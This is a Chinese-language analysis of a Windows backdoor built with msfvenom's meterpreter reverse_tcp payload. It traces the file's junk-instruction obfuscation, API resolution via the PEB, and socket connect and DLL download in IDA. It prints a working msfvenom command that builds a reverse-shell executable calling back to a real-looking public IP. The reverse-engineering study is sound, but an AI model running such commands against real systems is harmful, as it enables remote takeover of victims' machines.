msfvenom生成的windows后门分析
搞安全的应该都用过metasploit框架,该框架的优秀就不用多说,因此框架所携带的一些软件也是亮点,例如今天本文提到的msfvenom工具,该工具可以生成后门或者shellcode,在日常安全工作中使用的频率也不低
MsfVenom – a Metasploit standalone payload generator.
Also a replacement for msfpayload and msfencode.
翻译过来就是这是Metasploit独立的攻击载荷生成器。也是msfpayload和msfencode的替代品。
本文的目的是分析用它生成的windows后门文件,要分析得先有文件,我们用它生成一个:
windows x86的用法:
msfvenom --platform windows -a x86 -p windows/meterpreter/reverse_tcp lhost=47.111.163.67 lport=7788 -f exe -o test.exe
如上的用法就是生成一个windows的后门文件,生成的同时利用了meterpreter模块,生成了一个通信方式为反向连接的后门文件。
我这边生成了一个test.exe,如下图:
如图可以看到整个文件大小是73802个字节,其中Payload大小是354个字节。
我们使用VS自带的工具看看它的依赖,如下图:
如图可以看到依赖情况:
MSVCRT.dll //VC runtime库
KERNEL32.dll //控制系统内存管理、数据输入输出操作和中断处理的内核库
ADVAPI32.dll //高级API应用程序接口服务库
WSOCK32.dll //Windows Sockets应用程序接口
WS2_32.dll //Windows Sockets应用程序接口
静态分析
打开文件的时候却提示去找ab.pdb文件,ab是一款web压力测试工具。
起初看到这个我还怀疑自己文件打开错了,再去看一眼文件没有错,于是再去使用msfvenom工具重新生成,发现里面还是有ab的痕迹
猜测这是msfvenom用来迷惑安全软件或者逆向人员的,各位分析时应该也注意到了吧,如果各位发现另有用途还望不吝赐教。
ab.pdb文件自然是找不到,选择No进入吧
打开后一共9个函数,不同的反汇编工具可能不一样,我们先看入口函数,start
入口一进来就是”花指令”,这应该是msfvenom用来干扰安全软件和分析人员的,这些指令不懂没有关系,但是ec指令和inc指令是基本指令,应该知道是干什么的,+1又再-1,正常编写的程序经过编译后不会这样,编译器不可能这么傻,并且编译器都是尽量优化为主,不会产生这种没有意义的行为。
接着往下分析,在分析过程中可以看到中间穿插着很多干扰数据,这些内容不会被执行,程序执行不到,因此ida忽略了这些内容,没有转为代码,如下:
start函数里最后一条指令是jmp loc_404589
jmp loc_404589,跳到偏移量404589的位置执行,我们看看loc_404589处的反汇编内容
内容是一条nop指令和跳转到loc_404599的指令,我们看看loc_404599处的内容
loc_404599处的内容除了一条没用的指令外,接着直接跳到了loc_4045A6,我们继续看看偏移量为4045A6处的内容
4045a6处的内容是2条指令,首先跳到子函数sub_40490b处执行,执行完毕后跳到loc_4045b7处执行。
sub_40490b处的内容如下:
忽略nop指令,先是pop ebp接着跳到子函数loc_40491c处执行,往后看了一下都是层层跳跃
没有耐心往下点,就直接翻翻一开始列出的9个函数吧,注意sub_404b63
在sub_404b63里我看到了lhost和lport入栈,如下图:
这可以为我们动态分析快速下断提供帮助
动态分析
分析前先去掉花指令部分,直接跳吧,跳到sub_404589这个函数
再启动msfconsole并启动meterpreter服务端
同时在服务端启动抓包,后面可能需要分析
接着ida开始动态调试
勾选在程序启动入口处和start函数处暂停选项,程序提示是否读取ab.pdb文件,我们选择no,进入后停在了入口处
原本入口处是一堆花指令,我这里已经去掉了花指令,直接跳到sub_404589处
直接f7进入sub_404589
进入了sub_404589,停在了nop指令,下面是进入loc_404599处
停在了loc_404599处的cld指令上,我们f7一下
cld指令是将DF标志位清零,但是DF标志位本来就是0,所以是条没有意义的指令,当前堆栈没有任何变化,寄存器仅仅只是eip在变化,继续f7,进入loc_4045a6
F7进入sub_40490b
F7到pop ebp处,先看看栈顶内容
栈顶内容是sub_404589+22,即偏移量0x4045ab,保存的是一个地址,f7执行pop ebp,ebp保存了这个地址,继续执行到jmp loc_40491C,f7进入
mov esi,162h,0x162即十进制354,发现正好等于payload size大小,将0x40入栈,将0x1000,0x1000即4096,4096即4GB,正好等于系统分配给程序的内存范围,进入jmp loc_404938,f7进入
push esi,将0x162入栈,jmp loc_40494d,f7进入loc_40494d
将0入栈(不知道有什么意义),nop,nop跑来干什么也不清楚,分析过程中可以看到时不时来一条nop指令,jmp loc_40495d,f7进入看看
push 0e553a458h,将这段数据入栈,继续下一条jmp loc_404976,f7进入看看
call ebp,ebp保存的是一个地址,即0x4045ab,结合前面分析过可以知道是从栈中弹出给ebp的。F7进入前我们先截图留一下堆栈和寄存器的情况一会儿看看有什么变化
F7进入
进入后发现其内容是一条指令,跳转到loc_4045b7,继续f7进入
进入发现又是跳转,跳到loc_4045c7,继续进入看看
pusha,保存现场,便于call结束后恢复现场,我也截个图留着证明当时的现场
f7执行掉,现在eax,ecx,edx,ebx,esp,ebp,esi,edi已经悉数被压入栈中。
接着下一条指令mov esp,ebp,栈基址送人栈顶,xor edx,edx,将edx置0,
mov edx, fs:[edx+30h],fs:[edx+30h]处的内容是002EF000,执行完毕后edx的内容是002EF000,接着是jmp short loc_4045E4,跳转到loc_4045e4,进入看看
mov edx, [edx+0Ch],[edx+0Ch]=[002EF00C],执行后发现其保存的内容是77B8DCA0,这是ntdl.dll模块的一个引用地址。
jmp short loc_4045F8,跳转到loc_4045f8,进入看看
mov edx, [edx+14h],[edx+14h]=[77b8DCB4],执行一下看看内容是什么,其实也不执行也可以看的
内容是004D3D80,看看执行后是它吗?
edx的内容现在是004D3D80,继续mov esi, [edx+28h],[edx+28h]= [4D3DA8]
内容是004D2582,执行完esi的内容就是它
xor edi, edi,将edi置0,movzx ecx, word ptr [edx+26h],这条指令执行完ecx的值是12,接着是jmp short loc_404615,跳转到loc_404615,进入看看,内容是jmp short loc_40461F,跳转到loc_40461F,再进入看看发现内容是将eax置0,接着跳转到loc_404633,再进入看看
内容是lodsb,该指令是将ESI指向的地址单元中的数据取出来给al寄存器,接着将esi+1,接着是jmp short loc_404643,跳转到loc_404643,进入看看
cmp al,61h,将立即数0x61与al寄存器的内容进行比较,al小于61则跳转到loc_40466c,否则跳转到loc_404659,当前al的值是0x74,因此肯定是跳到loc_404659,我们进入loc_404659看看
sub al,20h,将al寄存器减0x20,al变成了0x54,接着跳转到loc_40466c,可以发现这是上面al小于0x61时会进入的函数,现在将al寄存器减少了0x20才进入了这个函数,那进入看看吧
好吧,进来后一看似乎不太对,ror edi,0dh,这条指令毫无用处,edi本来就是0,对他循环移位13次没有意义,看来混淆视听的内容比较多,add edi, eax,这条指令执行完,edi是0x54,dec ecx,将ecx减1,接着是jmp short loc_404683,直接F7进入看看吧
jnz loc_404615,上一步dec ecx指令的标志位不为0则跳转到loc_404615
我这里进来了,说明影响的标志位不为0,进来后是跳转到loc_40461f,再跟入
将eax清零,跳转到loc_404633,进入看看
内容是将esi寄存器值+1,然后跳转到loc_404643
又回来这里了,问题出在哪里?快速F8了一下发现,跳来跳去就又跳到了loc_404643这里,长按F8按钮可以发现,一直出不来,堆栈没有变化,变化的也仅仅是edi,esi,eip这几个寄存器,看来是掉入坑里了,回过来仔细梳理流程发现问题出在sub_40490b函数里的call ebp指令,sub_40490b函数的中途直接转去调用sub_40490b函数的下一条指令去了,而这个就是个坑
知道原因后干脆就不走这儿了,直接进入sub_40490B函数nop call ebp吧,理想很丰满,现实很骨感,结果后面又有很多的地方还是会进入这儿,估计这儿是个循环体。后来分析发现的确是的,遍历TIB最终找到VirtualAlloc函数地址,并调用
继续跟进后进入sub_404AC9,反复分析和测试发现在sub_404993函数里会导致无法在call sub_404B63处下断
其实不光无法在sub_404B63函数里下断,只要进入了sub_404993函数后面都无法下断,于是干脆也将它nop掉了,后面就比较顺畅了,在404b57处我们看到开始调用loadlibrary函数,如下图
loadlibrary函数地址也是在循环体走完之后得到,跟前面一样采用遍历的方式,我直接跳过了循环体的代码,直接在这儿F4的
继续往下看看,又开始进入循环体,去取下一个函数地址
call ebp跟进去就是循环体,取的是WSAStartup函数,继续往下
远程控制端的IP和端口开始入栈,push 43A36F2Fh是将IP入栈,由于是我的公网服务器IP,不想过多在文章里写自己的IP,如果非要搞清楚我这里的IP是多少,自己转成点分十进制吧
push 6C1E0002h是将端口入栈,下面一堆push操作之后,又一次call ebp
又去取下一个函数,我们看看下一个函数是什么,继续断在404B57处,看看eax寄存器的值
原来是WSASocket套接字函数,这是为连接远程控制端做准备了
继续在404B57处下断,现在是调用connect函数了
执行完可以看到远程控制端收到了请求
紧接着调用了recv函数,接收控制端发送的数据
接收的数据内容,我这边抓包下来提取了,发现是个dll文件
recv函数调用完毕后,再次调用了VirtualAlloc函数申请内存,毫无疑问是准备将dll放在内存中执行
我们过掉这个函数,接下来发现再次调用recv函数,接收数据
过掉第二次recv函数之后,肉鸡已上线,控制端已正式控制了被控端